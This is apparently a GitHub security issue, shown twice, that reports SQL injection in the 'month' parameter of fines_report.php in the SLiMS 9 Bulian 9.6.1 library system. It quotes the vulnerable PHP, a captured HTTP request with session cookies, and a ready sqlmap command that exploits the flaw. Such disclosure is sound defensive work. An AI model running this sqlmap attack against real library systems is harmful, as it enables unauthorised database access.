Senayan Library Management Systems (Slims) 9 Bulian v9.6.1 is vulnerable to SQL Injection via admin/modules/reporting/customs/fines_report.php.
**Describe the bug**
A SQL Injection exists in admin/modules/reporting/customs/fines_report.php at the code below
```php
 $selected_year = date('Y');
    if (isset($_GET['year']) AND !empty($_GET['year'])) {
        $selected_year = (integer)$_GET['year'];
    }
    // month
    $selected_month = date('m');
    if (isset($_GET['month']) AND !empty($_GET['month'])) {
        $selected_month = $_GET['month'];
    }

    // query fines data to database
    // echo "SELECT SUBSTRING(`fines_date`, -2) AS `mdate`, SUM(debet) AS `dtotal`, `fines_id` FROM `fines` WHERE `fines_date` LIKE '$selected_year-$selected_month%' GROUP BY `fines_date`";
    $_fines_q = $dbs->query("SELECT SUBSTRING(`fines_date`, -2) AS `mdate`, SUM(debet) AS `dtotal` FROM `fines` WHERE `fines_date` LIKE '$selected_year-$selected_month%' GROUP BY `fines_date`");
    while ($_fines_d = $_fines_q->fetch_row()) {
        $date = (integer)preg_replace('@^0+@i', '',$_fines_d[0]);
        $fines_data[$date] = '<div class="data"><a href="'.AWB.'modules/reporting/customs/member_fines_list.php?reportView=true&singleDate=true&finesDate='.$selected_year.'-'.$selected_month.'-'.$date.'" class="notAJAX openPopUp" width="800" height="600" title="'.__('Member Fines List').'">'.currency($_fines_d[1]?:'0').'</a></div>';
    }

    // generate calendar
    $output = simbio_date::generateCalendar($selected_year, $selected_month, $fines_data);

    // print out
    echo '<div class="mb-2">'.__('Fines count report for').' <strong>'.$months[$selected_month].', '.$selected_year.'</strong> <a class="s-btn btn btn-default printReport" onclick="window.print()" href="#">'.__('Print Current Page').'</a></div>'."\n";
    echo $output;

```

**To Reproduce**
Steps to reproduce the behavior:
1. Login as admin or user that has access to reportings/fines report
2. make sure burp suit is on to capture the request such as below:
3. save the request into a file (bredel.req)
4. run the test with sqlmao with the command `sqlmap -r bredel.req --level 5 --risk 3 -p month --dbms=mysql --current-user`

**Proof-of-Concept**

<img width="1440" alt="image" src="https://github.com/slims/slims9_bulian/assets/116742485/b09cb45d-610f-4880-a180-b6398f3b3fc7">

**bredel.req**
```
GET /slims9_bulian-9.6.1/admin/modules/reporting/customs/fines_report.php?year=2020&month=06&applyFilter=Apply+Filter&reportView=true HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=reporting
Accept-Encoding: gzip, deflate, br
Accept-Language: id,en-US;q=0.9,en;q=0.8,ru;q=0.7
Cookie: SenayanAdmin=0ejb8l7fhdhb1l8tltuvv5kl2n; admin_logged_in=1; SenayanMember=lsbmnom42kgsogjjvbfu1lrml8; csrftoken=hzryTvpMiKtoV1DPIYB8X31DZ69pidYh; wp-settings-time-1=1695891043; PHPSESSID=79fe03f30f50c62d5dec9aac767e1073
Connection: close


```

**Desktop (please complete the following information):**
- Browser: Google Chrome | 115.0.5790.114 (Official Build) (x86_64)
- Slims Version: slims9_bulian-9.6.1


[Security Bugs] SQL Injection at fines_report.php
This is a GitHub Issue
repo:slims9_bulian
owner:slims
Title : [Security Bugs] SQL Injection at fines_report.php
Issue date:

--- start body ---
**Describe the bug**
A SQL Injection exists in admin/modules/reporting/customs/fines_report.php at the code below
```php
 $selected_year = date('Y');
    if (isset($_GET['year']) AND !empty($_GET['year'])) {
        $selected_year = (integer)$_GET['year'];
    }
    // month
    $selected_month = date('m');
    if (isset($_GET['month']) AND !empty($_GET['month'])) {
        $selected_month = $_GET['month'];
    }

    // query fines data to database
    // echo "SELECT SUBSTRING(`fines_date`, -2) AS `mdate`, SUM(debet) AS `dtotal`, `fines_id` FROM `fines` WHERE `fines_date` LIKE '$selected_year-$selected_month%' GROUP BY `fines_date`";
    $_fines_q = $dbs->query("SELECT SUBSTRING(`fines_date`, -2) AS `mdate`, SUM(debet) AS `dtotal` FROM `fines` WHERE `fines_date` LIKE '$selected_year-$selected_month%' GROUP BY `fines_date`");
    while ($_fines_d = $_fines_q->fetch_row()) {
        $date = (integer)preg_replace('@^0+@i', '',$_fines_d[0]);
        $fines_data[$date] = '<div class="data"><a href="'.AWB.'modules/reporting/customs/member_fines_list.php?reportView=true&singleDate=true&finesDate='.$selected_year.'-'.$selected_month.'-'.$date.'" class="notAJAX openPopUp" width="800" height="600" title="'.__('Member Fines List').'">'.currency($_fines_d[1]?:'0').'</a></div>';
    }

    // generate calendar
    $output = simbio_date::generateCalendar($selected_year, $selected_month, $fines_data);

    // print out
    echo '<div class="mb-2">'.__('Fines count report for').' <strong>'.$months[$selected_month].', '.$selected_year.'</strong> <a class="s-btn btn btn-default printReport" onclick="window.print()" href="#">'.__('Print Current Page').'</a></div>'."\n";
    echo $output;

```

**To Reproduce**
Steps to reproduce the behavior:
1. Login as admin or user that has access to reportings/fines report
2. make sure burp suit is on to capture the request such as below:
3. save the request into a file (bredel.req)
4. run the test with sqlmao with the command `sqlmap -r bredel.req --level 5 --risk 3 -p month --dbms=mysql --current-user`

**Proof-of-Concept**

<img width="1440" alt="image" src="https://github.com/slims/slims9_bulian/assets/116742485/b09cb45d-610f-4880-a180-b6398f3b3fc7">

**bredel.req**
```
GET /slims9_bulian-9.6.1/admin/modules/reporting/customs/fines_report.php?year=2020&month=06&applyFilter=Apply+Filter&reportView=true HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=reporting
Accept-Encoding: gzip, deflate, br
Accept-Language: id,en-US;q=0.9,en;q=0.8,ru;q=0.7
Cookie: SenayanAdmin=0ejb8l7fhdhb1l8tltuvv5kl2n; admin_logged_in=1; SenayanMember=lsbmnom42kgsogjjvbfu1lrml8; csrftoken=hzryTvpMiKtoV1DPIYB8X31DZ69pidYh; wp-settings-time-1=1695891043; PHPSESSID=79fe03f30f50c62d5dec9aac767e1073
Connection: close


```

**Desktop (please complete the following information):**
- Browser: Google Chrome | 115.0.5790.114 (Official Build) (x86_64)
- Slims Version: slims9_bulian-9.6.1


--- end body ---
